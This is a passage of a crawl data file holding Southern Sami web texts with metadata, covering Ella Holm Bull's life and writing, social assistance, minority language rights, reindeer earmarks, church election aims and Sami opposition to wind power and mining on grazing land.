jeahta.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/daan-giesien-1-3-saejhta-gaetesne-eejehtalledh\/","date":"2020-10-01T18:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00039.warc.gz","language":"sma","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999898672103882}","num_words":185,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ella Holm Bull båatsoefuelhkesne byjjeni, jïh Ealla lij båarasommesem njiejlie nuerebh åarpenijstie. Goh mubpie veartenedåaroe eelki dellie lin daelvielaanten gåetesne årroeminie. Fuelhkie jis utnin bööremes paajsanidh, jïh maaje veerehks deahpadimmiem maanide. 1\n1948:esne lij stoerre ovlæhkoem gusnie luhkiegovhte åarjelsaemieh jaemieraadtan vöölkin goh busse jeanosne gahtji, mænngan NBRen laantetjåhkosne Tromsöesne årrome. Eallan aehtjebe aaj jaami daennie ovlæhkosne. Ealla lij annje noere nïejte goh aehtjebem gaerviehti, jïh altese tjitjebe oktegh baatsi smaave maanaj gujmie. Eallan daktere, Ellen Bull Jonassen aervede dannasinie dam altese fuelhkesne dan veaksehke nyjsenæjjah, jïh tjaebpieslaakan lea tjaaleme tjidtjeben vaajesi bïjre artigkelisnie Maam stoerre-johke soptseste. 2\nEalla lea lohkehtæjjine jïh rektovrine Åarjelsaemienskuvlesne Snåasesne barkeme eevre dan skovlen aalkovistie 1968:sne. Altese lohkehtæjja-ööhpehtimmiem illi 1954, jïh voesteges jaepien lij Gaske-Nöörjen saemienskovlesne barkeminie. Idtjin annje aalkeme åarjelsaemien ööhpehtidh maadthskovline, jïh Ealla vueptiesti smaave maanah lin skovlebarkojne baaverdeminie juktie idtjin daaroen guarkah. Dagke destie skreejrehtovvi gïeleaamhtesine aatskadidh. Ella Holm Bull, lea gellien jaepien vihkeles gïele- jïh kultuvreskræjriem orreme abpe åarjelsaemien dajvine. Eadtjohkelaakan lea aktem åvtemes njuenehkine barkeme åarjelsaemien gïeletsiehkiem nænnoestidh. Professovre Knut Bergslandine ektesne Ealla fassedi åarjelsaemien tjaelemevuekiem eevtiedidh. Bergslandine ektesne aaj voesteges lohkemegærjam deajvohti, Lohkede saemien (1974), jïh dan mænngan Ealla lea jïjnjh learoegærjah tjaaleme åarjelsaemien ööhpehtæmman maadthskovline. Ealla lea aaj ovmessie gærjah jarkoestamme jïh lidteratuvrh åarjelsaemien gïelehaaman sjïehtesjamme. Satne lea laavlomh tjaaleme jïh jåvlesaalmah vaajestamme jïh dovne laavlomegærjah, CD-skearoeh åålmehtehteme.\nAltese voesteges vaajesegærjam lij Ov-messie darjomes, 2000.\nEallan tjiehtesegærja Ov-messie darjomes lea mojhtesegærjine haemiedamme jïh guvvehte båatsoejielemen jïh almetji ovmessie darjoemesh jaepien doekoe. Båatsoejaepien gievliem dåerede, jïh dïeves gïeline lïhkes eatnemebuerkiestimmieh leah veeljie altese vaajestimmesne. Daelvege lin Heajjosne, jïh giesege Gaske-johkesne årroeminie. Eallan maanabaeliej paaradijsem lea voernges sijjiem altese vaajesegærjesne åådtjeme, ojhte lea giesielaanten årromesijjiem, Gaske-Johke.\nVoesteges vaajesen bijjietjaalege lea \"Mov Håhkoe\" jïh soptseste tjaelijen lea vaajtelimmiem jïh aajkoem daejnie gærjine. Ealla buektehte lohkijem tjetskehke darjodh, ihke dan veele byjreskem buerkeste. Daate lea sjïerevæhtam saemien lidteratuvresne jïh gïelesne. Saemien gïeline maahtah eatnemem jïh darjomesh dan tjïelkelaakan buerkiestidh guktie jeatjah saemieh maehtieh dam abpem vuejnedh jïjtsh tjelmiej uvte, jaltsh eah gåessie dennie dajvesne orreme.\nGærjan minngemes vaajesisnie dellie tjaelijen aajkoe joe illeme, måjhtojgujmie lea dïevhteme jïh buektiehtamme Johkegaskem aejkiejtjirrh buektedh. Guktie aaj jeatja saemien tjaelije, Nils-Aslak Valkeapää, lea dorjeme sov gærjesne Beaivi Áhčážan (1989) gusnie vuesehte saemien kosmologijesne ij naan vihties aalkove vuj minngiegietjie, almetje histovrijen doekoe jïijtjemsem guarka jïh eatnemisnie jïh eatnemine ektesne vyöse, aejkiemierijste namhtah. Ealla lea aaj sov soetem jåerhkine illeme; Maana-baelien gåetesne hov aalka, daejrehte mij lea sov håhkoem, jïh minngiegietjesne vihth lohkije aalkovasse buakta.\nOppgaver og spørsmål:\nLaavenjassh:\n1. Lohkh vaajesidie Mov håhkoe jïh Ov-messie darjomes Eallan vaajesegærjesne. (Idut 2000)\n2. Digkedh jeatjabigujmie. Magkerh sjïerevæhtah gaavnijidie daejnie göökte vaajesine?\n3. Man åvteste vïenhth jaevrieh johkh dan vihkeles saemien vaajestimmesne?\nFaktaopplysning:\nDeejrih badth...\nEalla lea gellien aejkien baalhkesh åådtjeme sov siebredahke- jïh gïelebarkoen åvteste, naan dejstie leah: Nöörjen gånkan dïenesjemedaljem gulleste 1987, Noerhterijhki Saemienraerien earoebaalhkesem 1996, jïh Noerhterïjhki gïelebaalhkesem Gollegiella 2004.\nBegrepsforklaring:\nKosmologije\/kosmologi learoem vuj goerkenassem veartenen jïh elmien jïh dej fysihke njoelkedassi bïjre. Joekoen iemiealmetji muhteste; eatneme jïh elmie lea dej kosmologijine voernges, eatneme sealoem åtna, jïh aejkijste namhtah almetjh dejnie sealojne ektesne govlh.\nFaktaopplysning:\nDaajrah...\n1948:esne lij stoerre ovlæhkoem gusnie luhkiegovhte åarjelsaemieh jaemieraadtan vöölkin goh busse jeanosne gahtji, mænngan NBRen (Nöörjen båatsoesaemiej rïjhkesiebrie) tsagkesetjåhkosne Tromsöesne orreme. Daate lij deahpadimmiem mij abpe åarjelsaemien siebredahkem dijpi. Eallan aehtjie aaj jaami dennie ovlæhkosne.\n1. Datne maahtah vielie dan bïjre lohkedh Saemien sijten jaepiegærjesne Åarjel-saemieh – Samer i sør\nnr.8. Desnie Ealla lea jïjtje tjaaleme sov dååjrehtsi bïjre dåaroejaepijste.\n2. – Jonassen, Ellen Bull: \"Maam stoerre-johke soptseste\" Åarjel-saemieh, Samer i sør. Stiftelsen Saemien sijte, Årbok nr.9. Snåsa.","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51&vuolitsladja=64","date":"2020-09-29T07:41:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401632671.79\/warc\/CC-MAIN-20200929060555-20200929090555-00095.warc.gz","language":"sma","language_score":0.999977231,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999772310256958}","num_words":570,"character_repetition_ratio":0.043,"word_repetition_ratio":0.021,"special_characters_ratio":0.154,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ekonomeles sosijaaleviehkie\nDïhte guhte ij buektehth jïjtse jieliemassen åvteste maeksedh, maahta sosijaaleviehkien bïjre syökedh. Maahta viehkiem åadtjodh goh beetnehdåarjoe, löönemh jïh löönemegarantije. Ekonomeles sosijaaleviehkie edtja uvtemes akte annjebodts dåarjoe årrodh, jïh dïhte mij viehkien bïjre syökoe, edtja buektiehtidh jïjtjemse bearkadidh ånnetji ånnetji. Ohtsemh sosijaaleviehkien bïjre seedtesuvvieh Nav-kontovrese tjïeltesne.\nBihkedassh, men stilleme vuarjasjimmie\nDastegh datne sosijaaleviehkien bïjre syökh, dle tjoerh voestegh pryöveme jïjtjemdh jieliehtidh, jallh datne leah pryöveme dov ekonomeles reaktah nuhtjedh, vuesiehtimmien gaavhtan tjïrkemereaktah. Åejviedïedte sosijaaldïenesjidie lea tjïeltine, jïh Nav-kontovrh tjïelten laavenjassh daennie suerkesne darjoeh. Bïhkedassh gååvnesieh man stoerre dåarjoem fïerhte almetje maahta åadtjodh, men tjïelth reaktam jïh dïedtem utnieh fïerhtem aamhtesem sjïerelaakan vuarjasjidh.\nFylhkenålman laavenjassh\nJis sosijaaleviehkien bïjre syökh jïh Nav-kontovre nyöjhkoe, maahtah nænnoestimmiem laejhtedh. Dellie klååkemem tjïeltese seedth, mij dam Fylhkenålmese seedtie.\nFylhkenålma aktem vaaksjomedïedtem åtna mij lea akte reakta jïh dïedte vaaksjodh mejtie tjïelte sov dïedth tjïrrehte 4. kapihtelen mietie laakesne sosijaale dïenesji bïjre Nav'sne. 4. kapihtele dejtie indivijduelle dïenesjidie laakesne stuvrehte, gaskem jeatjah ekonomeles dåarjoe.\nLaajkoeraeriestimmie\nTjïelte edtja tjïelten årroejidie ekonomeles raeriestimmiem jallh laajkoeraeriestimmiem faalehtidh. Daate raeriestimmiedïenesje lea daamtaj dan voenges Nav-kontovrese bïejeme, jïh dïenesje vaadtasåvva laaken mietie sosijaale dïenesji bïjre. Fylhkenålman laavenjassh leah stuvreme tjïelti vööste, jïh edtja gaskem jeatjah lïerehtimmie- jïh kuvsefaalenassh vedtedh tjïelten barkijidie.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.fylkesmannen.no\/sma\/Healsoe-jih-hokse\/Ekonomeles-sosijaaleviehkie\/","date":"2020-09-23T13:29:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400210996.32\/warc\/CC-MAIN-20200923113029-20200923143029-00495.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":199,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov reakta nasjonaale unnebelåhkoegïelem nuhtjedh\nMejtie saemesth, jallh naan daejstie gielijste såevmiegïelem, meänkieli, jiddisch jallh romaani chib åtnah? Daesnie åadtjah daejredh magkerh reaktah datne åtnah jïh maam maahtah mijjeste krïevedh.\nNasjonaale unnebelåhkoegïelh mijjen websæjrosne\nMijjen websæjrosne bïevnesh gååvnese guktie edtjh darjodh gosse barkoegapth sjïdteme, jarkoestamme joekehth unnebelåhkoegieline.\nJoekoen nænnoes reaktah såevmien, meänkielisne jïh saemiengielesne\nJis såevmiegïelem, meänkielim jallh saemiengïelem åtnah, dle reaktam åtnah mijjine tjaaleldh gaskesadtedh. Muvhth aejkien dle maahtah njaalmeldh mijjine dov gielesne gaskesadtedh, jeenjemes aejkien dle toelhkine. Jis unnebelåhkoegïelen reeremedajvesne årroeminie, dle barre iktesth reaktam åtnah mijjine gaskesadtedh dov gielesne.\nMuvhth aejkien reaktam åtnah tjaaleldh nænnoestimmiem jïh nænnoestimmiebïhkedimmiem dov gielesne åadtjodh.\nJiddisch jïh romaani chib\nJiddisch jïh romaani chib eah leah sjïere territorijaale dajvine. Dah leah guhkiem Sveerjesne orreme, menh eah sjïere geografihkeles dajvese govlesedtieh. Dah göökte gïelh sïejhme tjaaleldh reaktam utnieh.\nGaajhkh nasjonaale unnebelåhkoegïelh edtjieh vaarjelovvedh jïh evtiedovvedh\nTsïengelen 1 b. 2010 dle dïhte unnebelåhkoelaake jïh unnebelåhkoegïelen laake bööti. Nasjonaale unnebelåhkoe leah Judah, romeerh, saemieh, Sveerjesåevmien almetjh jïh almetjh Torne-daeleste. Nasjonaale unnebelåhkoegïelh leah jiddisch, romaani chib, saemiengïele, såevliengïele jïh meänkieli.\nDïhte laake jeahta nasjonaale unnebelåhkoegïelh edtja vaarjelovvedh jïh evtiedidh. Dïhte mij nasjonaale unnebelåhkoegïelem åtna reaktam åtna gïelem leeredh, gïelem evtiedidh jïh altese ietniengïelem soptsestidh. Byjjes reeremh edtjieh dejtie goltelidh jïh dej daarpojde krööhkestidh.\nByjjes reeremh tjuerieh datnem bievnedh magkerh reaktah åtnah, seamma magkerh nasjonaale unnebelåhkoegïelem åtnah jïh gusnie Sveerjesne årroeminie.\nLohkh vielie\nDaesnie maahtah vielie unnebelåhkoegïeli bïjre jïh dejtie dov reaktide.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/arbetsformedlingen.se\/other-languages\/oarjelsaemien-giele-sydsamiska\/din-ratt-att-anvanda-nationella-minoritetssprak","date":"2020-09-29T02:03:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401617641.86\/warc\/CC-MAIN-20200928234043-20200929024043-00219.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":232,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Obs! Detta val innebär att du inte ser regionalt innehåll och viktig information som gäller just din region.\nBesök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nVueptesth covid-19:n symtovmide. Vaarjelh datnem jïh mubpide suetiem geerjehtidh\nDatne mij lea bieline aktede nasjonaale unnebelåhkoste, dov lea muvhti veajkoej reakta dov gïelem nuhtjedh gosse healsoedïenesjinie gaskesadth. Vuartesjh daesnie mij lea faamosne ovmessie tsiehkine.\nVästerbetnesne noerh jïh maanah dåarjoem åadtjoeh klaasetjelmide jallh kontaktlinside. Dåarjoe lea dejtie gïeh 20 jaepien nuerebe.\nDatne maahtah habiliteeringem jallh rehabiliteeringem åadtjodh jis dov lea funksjovneheaptoe.\nMaahtah dov vuajnoeh jallh laejhtemh vedtedh jis ih fuakoeh. Maahtah daam darjodh dovne goh skïemtjije jïh åelie.\nSkïemtjijelaake dutnjien gie skïemtjije. Dïhte buerkeste edtjh bïevnesh åadtjodh dov skïemtjelassen bïjre jïh mah båehtjierdimmieh gååvnesieh. Dellie maahtah meatan årrodh jïh dov hoksem nænnoestidh. Edtjh aaj åadtjodh daejredh gusnie maahtah dov hoksem veeljedh maam daarpesjh.\nJollemaaksoevaarjelimmie skïemtjehoksesne lea datne jeenjemes 1 150 kråvnah skïemtjijemaaksojne maeksedh boelhkem mij lea luhkiegöökte askh. Naan sjïere njoelkedassh gååvnesieh, vuesiehtimmien gaavhtan vaksinasjovnh.\nDenna webbplats använder cookies för att ge alla besökare ökad funktionalitet och service. Läs mer om cookies.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/","date":"2020-10-28T14:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107898577.79\/warc\/CC-MAIN-20201028132718-20201028162718-00397.warc.gz","language":"sma","language_score":0.9999940395,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999940395355225}","num_words":177,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bijjelen 100 åarjelsaemien båatsoesaemieh Nøørjen jih Sveerjen bieleste tjåanghkanamme daan Noerhte-Trøøndelagen fylhken ålman mïerhkevuekie seminaarese, Stiklestaden kultuvrejarngesne. Dihte åejvieaamhtese lea, dah åarjelsaemien mïerhkevuekieh bijre. Guktie dihte mïerhkevuekie åvtesne orreme jih guktie dihte mïerhkevuekie daelie.\nVihkeles åarjelsaemien mïerhkevuekiem vaarjelidh.\nMïerhkem maahta sliekteste jih fuelhkeste eerpedh jih maahta mïerhkem åadtjodh jih aaj mïerhkem åestedh daan båatsoelaagen tjirrh. Vihkeles jih dam mïerhkevuekiem lieredh. Guktie edtja mïerhkem jiehtedh, jih dellie eensilaakan « stijlen » mietie mïerhkesjidh. Peder Ludvig Jåma Tjåehkeren sijteste, soptsesti dah vuekieh jih nejpie-gïejijh bijre. Guktie mïerhkem buerkiestidh jih tjaeledh. Jåma tuhtjie jeatjah mïerhkevuekie daelie sjidteminie.\n– Vuejnebe guktie daelie sjidteme. Jijnjh jeatjah nejpie-giejh sjidteme, mij noerhtede båetieh. Vihkeles daan stijlen mietie mïerhkesjidh. Nåake daelie sjidteminie, vuajneme muvhth aejkien, guktie dah jijtje almetjh mïerhkesjamme jih mænngan eah jijtjen mïerhkiem damtijh gænnah, Jåma jeahta.\nJijtjen mïerhke prosjeektem Rørosdajvesne åtneme.\nLars Aage Bransfjell, Saanti sijteste, soptsesti sov jih Aajegen, mïerhkeprosjeekten bijre «Mïerhkh» Guktie goerehtalleme, guktie saemieh åvtesne Rørossaemien dajvesne mïerhkide buerkiestamme jih nuhtjeme. Daestie prosjeekteste,gærja sjidti maam Aajegesne gaevnieh.\n– Geervemes daejnie prosjeektene lij jih gaajhkem akten aejkien hinnedh. Mïerhkevuekide goerehtalledh jih muvhtene aejkien sijhteme vielie govledh mannasinie numhtie jih naemhtie lea jih guktie åvtesne jeahteme. Domtoes goh manne gellie jaepieh seejmes, ij man gellieh maehtieh mannem daelie vaestiedidh, Brandsfjelle jeahta.\n- Guktie govlim, dellie dah båatsoe saemieh geerjene åadtjoejin dagkeres tjåanghkosne gaavnesjidh jih digkiedidh ,vihkeles båatsoe aamhtsi bijre, daan fuhpies suehpede asken mænngan.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-mierhkevuekie-1.12379896","date":"2020-10-21T22:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107878633.8\/warc\/CC-MAIN-20201021205955-20201021235955-00706.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":226,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelti lea dïedte sosijaale dïenesjh faalehtidh. Sosijaale dïenesjh maahta årrodh faalenasse funksjovneheaptoes almetjidie, hïejmedïenesjh, NAV-dïenesjh, persovneles klahke, viehkiefaalenasse, ekonomeles sosijaaleviehkie, gåetiefaalenasse daarpehtidie, råajvarimmieh dejtie mah geeruvevoetem båajhtoehlaakan nuhtjieh\nNasjonaale åejvieladtjh dïedtem utnieh staateles bïhkedassh buektedh juktie gorredidh saemien utnijh maehtieh seammavyörtegs sosijaaledïenesjh åadtjodh mah saemien gïelem jïh kultuvrem våaroeminie utnieh.\nFaatoes daajroe saemien gïelen jïh healsoen jïh healsoe- jïh sosijaalestatusen bïjre dïenesjinie, saemien skïemtjiji nuepieh gaertjede dïenesjefaalenasside nuhtjedh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/maanavaarjelimmie-healsoe-jih-sosijaale\/sosijaale\/","date":"2020-10-30T16:29:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00492.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":68,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen visjovne\nPOSK´n visjovnen mietie Svïenske gærhkoe edtja\n- Ektievoete årrodh mij Jupmelen syjhtedem dåerede.\n- Tjïelke soptsestidh Jesus Kristusen bïjre.\nPOSK – akte buerie veeljeme\nPOSK dam gærhkoem eevtjede maam Sveerje daarpesje. Mijjieh vaaksjobe gærhkoe gååvnese gusnie dïhte daerpies lea. Mijjieh gærhkoem sïjhtebe gusnie gellievoete jïh gusnie sinsitnide krööhkestibie.\nTjïelke gærhkoe\nDehtie jaahkoste mij gærhkoen sisne ektievoetem åadtjobe gærhkoeåålmegisnie. Gyrhkesjimmieh jarnges biehkie daestie. POSK sæjhta jielije gærhkoeåålmegidie evtiedidh. Jielije gærhkoeåålmegisnie jaahkoem vuesehte gieriesvoeten jïh såjhtoen tjïrrh. Kristi gieriesvoete mijjiem eevtjede dïedtem damtedh evtiedæmman, dåarjose jïh dan aajhteme sjugniedæmman.\nPOSK sæjhta\n- Gyrhkesjimmiem evtiedidh jïh vijriedih.\n- Gærhkoe-åålmegidie nænnoestidh guktie dah maehtieh jeatjah gærhkoej ektesne barkedh jïh misjoneeredh.\n- Svïenske gærhkoen våarome gosse hååle lea teologije jïh ij krirriepolitihke\n- Fïere gærhkoegåålmege edtja diakonijem utnedh\n- Rïektesh åesiejieliemassem jïh nænnoes nuhtjemem eatnemen vierhtijste dåårjedidh\n- Eadtjohke byjresevaarjelimmiebarkoem stiftine jïh gærhkoeåålmeginie dåårjedidh.\n- Svïenske gærhkoe edtja aktööre årrodh jealamadtje siebriedahkine\n- Svïenske gærhkoen eekem edtja eadtjohkelaakan, etiske jïh ekologijske stuvresovvedh.\n- Gærhkoeåålmegidie reejrehtidh guktie dah maehtieh jienebh migranth jïh baataræjjah viehkiehtidh.\nGellievoete jïh krööhkeme\nSvïenske gærhkoen tradisjovnh jïh vååjnoeh leah vihkeles. POSK sæjhta gærhkoem utnedh gusnie gellievoete jïh krööhkeme. Mijjieh sïjhtebe gaajhkide edtjieh damtedh dah lea buerie båateme vaajtelamme gærhkose. Sahth magkerh seksuelle bieliem åtna.\nPOSK muana\n- Dah tradisjovnh jïh vuekieh mah gærhkoen sjijsjelen edtjieh maehtedh evtiesovvedh jïh dorjesovvedh\n- Dåehkieh mah sinsitneste jeatjahlaakan muenieh edtjieh maehtedh krööhkemem vuesiehtidh.\n- Soptsestimmieh gærhkosne edtjieh maehtedh ovmessie vuajnoeh krööhkedh.\n- Dam maam gærhkoetjåanghkoe lea nænnoestamme pruvremen bïjre almetji gaskemsh mej leah seamma tjoele edtja dåeriesovvedh.\n- Maam almetje meala provrenassen bïjre ij edtjh nænnoestidh jis barkoem Svïenske gærhkosne åådtje.\nMusihke jïh kultuvre\nKultuvren ovmessie vuekieh lea vadtesem maam Jupmele mijjide vedteme. Kultuvre vihkeles biehkie jieliemistie. Almetjh vuesiehtieh dej jaahkoem måedtie såarhtes vuekiejgujmie. Daerpies sijjiem gååvnese jaahkoem toelhkedh daan biejjien kultuvrejieliemisnie.\nPOSK sæjhta\n- Dïedtem gærhkoemusihkese nænnoestidh Svïenske gærhkoen nasjonelle daltesisnie\n- Barkedh ihke jeenjebh gærhkoemusihkerh rekryteeredh jïh jienebh sijjieh sjidtieh gärhkoemusihkere-ööhpehtimmesne\n- Barkoe psalmegärjine dam tïjjem åådtje mij daerpies. Barkoe edtja gïeleldh jïh musikaliske maahtojne dorjesovvedh.\n- Dam vihkeles kultuvreaerpiem geehtedh mij leah gærhkoeh jïh gærhkoegaertieh. Gærhkoe edtja gaahpode årrodh jïh aelhkies gaajhkide jaksedh.\n- Gærhkoeåålmegi laavenjassem dejnie byjrese kultuvrejielieminie nænnoestidh\nVedtedh jïh dïedtem vaeltedh\nSvïenske gærhkoe demokratiske våaromem åtna. Mijjen demokratije ulmiem åtna mijjen jaahkoen sisnie mij jeahta Jupmele almetjidie gohtje edtjieh råajvarimmieh jïh laavenjassh gærhkosne darjodh. Gaajhkh krïstegassjh dïedtem gærhkose utnieh.\nSvïenske gærhkoe aerebe sjïere daltesem åtneme siebriedahkesne. Gærhkoe ij unnemes barkijh åtneme gïeh leah dan laavenjasside dorjeme. Daelie aalka jeatjahlaakan sjïdtedh. Gærhkoe seammalaakan tsiehkiejgujmie barka goh jeatjah gærhkoeh. Ideelle viehkie vihkielåbpoe sjïdteminie. Barkijh maahtoe, ïedtje jïh maehtedh dïedtem damtedh vihkeles lea. Noerh almetjh aaj vihkeles gærhkose.\nPOSK sæjhta\n- Indirekte veeljeme viht utnedh stiftsreeremasse jïh gærhkoetjåanghkose\n- Gærhkoeåålmegeraeriej råalle jïh dïedte edtjieh tjïelke årrodh\n- Ideelle barkijh ööhpehtimmiem åadtjoeh, madtjeldamme sjidtieh jïh dïedtem gærhkoeåålmeginie åadtjoeh.\n- Dej veeljesovveme lïhtsegi ööhpehtimmiem nænnoestidh\n- Gærhkoe edtja barkoesijjiem årrodh gusnie almetjh sijhtieh barkedh. Edtja eadtjalgehtedh væjkeles almetjh desnie barkedh.\n- Noerh skyllemebarkijh edtjieh nuepieh åadtjodh vielie ööhpehtæmman\n- Konferaanse Dej noeri gærhkoetjåanghkoe edtja åadtjodh lïhtsegh gærhkoetjåanghkose veeljedh.\nDetta är en kortversion av POSKs handlingsprogram i kyrkovalet 2017. Läs hela programmet här (svenska).\nGærhkoeveeljemebïevnesh\/Kyrkovalsinformation finns på olika språk, på Svenska kyrkans webb. Tyvärr finns ännu inget dokument klart på sydsamiska.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.posk.se\/vi-vill\/formular-hjartats-sprak\/sydsamiska\/","date":"2020-10-22T21:27:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880038.27\/warc\/CC-MAIN-20201022195658-20201022225658-00098.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":507,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajhtoeh bæjngoelistie mijjen aerpievuekien jieliemidie haestieh, jïh båatsoe lea sjïerelaakan behtjiedamme. Itjmies dejtie fuelhkide mah båatsojne gïehtelieh, jïh dan åvteste båatsoe lea akte dejstie guedtije tsegkijste saemien kultuvresne dellie aaj itjmies don saemien siebriedahkese.\n– Mijjieh daejrebe sïelth iktemearan tjåadtjoeh juktie bïegkefaamoevierhkieh jïh gruvah båatsoen gåatomedajvine tseegkedh, jïh mijjieh daejrebe båatsoe daamtaj eevre baanhtsan industrijen vööste tjåådtje. Båatsoe dam saemien reaktavoetegæmhpoem biejjieladtje gæmhpoeh, jïh daah aamhtesh dej stööremes saemien aamhtesi gaskem sjidtieh dej båetiji jaepiej. NSR:sne libie riejries njueniehkinie årrodh daennie barkosne, presidentekandidaate Aili Keskitalo jeahta.\nJiene-jienebh sijhtieh saemiepolitihken sïjse dejnie vuajnojne stoerre gruva- jïh bïegkejårrehtseprosjekth edtjieh åadtjodh dajvh båatsoste sualadidh. NSR lea dïhte aajneh stabijle alternatijve dejtie mah mielieh voestegh saemien reaktah tjuerieh jååhkesjimmiem åadtjodh.\nFovsene\nMaja Kristine Jåma lea akte dejstie noerijste mah akten båetijen aejkien åvteste båatsosne gæmhpoeh. Maja Åarjel Fovsen Njaarkeste båata eevre Tråanten ålkolen, jïh altese fuelhkie gæmhpoeminie bigkemen vööste bïegkefaamoevierhkeste sijjen daelviegåatomelaantesne.\n– Mijjen væljoen vööste dah leah nænnoestamme 1\/3 mijjen daelviegåatoemistie vaeltedh ov goh mijjen jieliemasse ij naan aarvoem utnieh. Men mijjieh daejrebe dïhte maam mijjieh darjobe stoerre aarvoem åtna åarjelsaemien kultuvrese jïh gïelese, jïh daate akte aamhtese mij vihkeles abpe åarjelsaemien siebriedahkese, Jåma soptseste mij lea NSR:N noerekandidaate åarjelsaemien gievlesne.\nDïhte dåarjoem åådtje presidentekandidaateste Aili Keskitalo mij tjïerteste båatsoe Fovsenisnie lea vihkeles ij ajve dan åarjelsaemien gaavhtan, men abpe saemien siebriedahken gaavhtan.\n– Bïegkefaamoebigkeme Storheiesne lea akte prosjekte maam Saepmie raaktan ij maehtieh jååhkesjidh. Ibie tjoerh håhkoem gåajparostedh akten politihkeles loetemen bïjre, men manne ussjedem daate lea akte dejstie aamhtesijstie maam aaj maehtebe riektesne pryövedh, Keskitalo soptseste.\nRepparfjord\nNoerhtelisnie akte jeatjah prosjekte gååvnese mij håvhtede dovne båatsoem jïh mearoesaemien göölemem eerjedh,\njïh desnie kåahperegruva maam Nussir ASA soejkesjeminie tseegkedh Repparfjovlesne Kvalsunden tjïeltesne. Silje Kar- ine Muotka lea daam dorjeme goh sov stoerre politihkeles gæmhpoeaaamhtese, jïh NSR:ine ektine dïhte lea meatan veeljemisnie juktie Repparfjovlem beerkedh jïh Nussirem tjöödtjestidh.\n– Joekoen gellie hijven fåantoeh gååvnesieh man åvteste mijjieh tjoerebe Nussirem tjöödtjestidh, jïh akte dejstie lea dïhte nåakevoete byjresasse gosse gruvabaatsehtsh fjovlen sïjse luajhta, Muotka jeahta.\nMuotkan mïelen mietie dle Nussir akte vihkeles saemiepoli- tihkeles aamhtese gaskem jeatjah dan åvteste gruvaindus- trije lissie veelelaakan daam evtiedimmiem gïehtjede. – Jis Nussir minngemosth kruana tjoevkesem åådtje, dellie dah lin sïjhteme baalkam trööredh aaj mubpide mah sijhtieh gruvah tseegkedh desnie gusnie bovtse gåatoeminie, Muotka soptseste.\nMuotka lea madtjeles ihke 